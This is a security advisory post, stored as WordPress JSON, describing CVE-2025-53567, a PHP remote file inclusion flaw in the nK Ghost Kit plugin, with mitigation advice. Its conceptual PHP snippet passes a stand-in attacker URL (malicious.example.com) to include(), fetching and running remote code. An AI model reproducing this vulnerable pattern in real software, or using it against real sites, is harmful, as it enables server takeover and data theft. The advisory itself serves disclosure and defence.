{"id":71760,"date":"2025-09-06T12:01:34","date_gmt":"2025-09-06T12:01:34","guid":{"rendered":""},"modified":"2025-09-08T05:54:45","modified_gmt":"2025-09-08T11:54:45","slug":"cve-2025-53567-high-severity-php-remote-file-inclusion-vulnerability-in-nk-ghost-kit","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53567-high-severity-php-remote-file-inclusion-vulnerability-in-nk-ghost-kit\/","title":{"rendered":"<strong>CVE-2025-53567: High Severity PHP Remote File Inclusion Vulnerability in nK Ghost Kit<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The newly discovered vulnerability, designated as CVE-2025-53567, poses a critical threat to websites using the nK Ghost Kit plugin. This PHP Remote File Inclusion vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to system compromise or data leakage. Given the popularity of PHP and nK Ghost Kit in web development, this issue could affect a significant number of websites worldwide, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42957-critical-backdoor-vulnerability-in-sap-s-4hana-exposes-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"79595\">potentially exposing<\/a> a large amount of sensitive data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53567<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80192\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1728973889\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>nK Ghost Kit | Up to and including 3.4.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53763-improper-access-control-in-azure-databricks-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79812\">improper control<\/a> of filename for Include\/Require Statement in the PHP program within nK Ghost Kit. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24325-improper-input-validation-in-intel-r-800-series-ethernet-driver-allows-potential-escalation-of-privilege\/\"  data-wpil-monitor-id=\"80470\">allows an attacker to manipulate the input<\/a> data and include a remote file from an external server. When the server processes the request, the malicious PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54135-critical-remote-code-execution-vulnerability-in-cursor-code-editor\/\"  data-wpil-monitor-id=\"79569\">code contained in the remote file is executed<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1786866629\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following pseudocode provides a conceptual understanding of how this exploit might be executed.<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ The attacker-controlled variable that contains the URL of the remote file\n$attacker_controlled_url = &quot;http:\/\/malicious.example.com\/malicious_file.php&quot;;\n\/\/ The vulnerable include\/require statement\ninclude($attacker_controlled_url);\n?&gt;<\/code><\/pre>\n<p>In this example, the attacker has control over the `$attacker_controlled_url` variable. When the include statement is executed, the PHP interpreter fetches the file from `http:\/\/malicious.example.com\/malicious_file.php` and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23264-critical-vulnerability-in-nvidia-megatron-lm-may-lead-to-code-execution-and-data-tampering\/\"  data-wpil-monitor-id=\"79907\">executes its content as PHP code<\/a>. If the malicious file contains code for a shell command or data exfiltration, it can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47136-integer-underflow-vulnerability-in-indesign-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79726\">lead to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52095-privilege-escalation-vulnerability-in-pdq-smart-deploy-v-3-0-2040\/\"  data-wpil-monitor-id=\"79631\">deployed to block attempts to exploit this vulnerability<\/a>. However, the most effective solution is to apply the vendor-supplied patch. If you are using an affected version of nK Ghost Kit, it is recommended to update it immediately to protect your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40920-weak-cryptographic-source-in-data-uuid-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79852\">system from potential<\/a> attacks.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The newly discovered vulnerability, designated as CVE-2025-53567, poses a critical threat to websites using the nK Ghost Kit plugin. This PHP Remote File Inclusion vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to system compromise or data leakage. Given the popularity of PHP and nK Ghost Kit in web [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71760","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71760","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=71760"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71760\/revisions"}],"predecessor-version":[{"id":72890,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71760\/revisions\/72890"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=71760"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=71760"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=71760"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=71760"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=71760"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=71760"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=71760"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=71760"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=71760"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}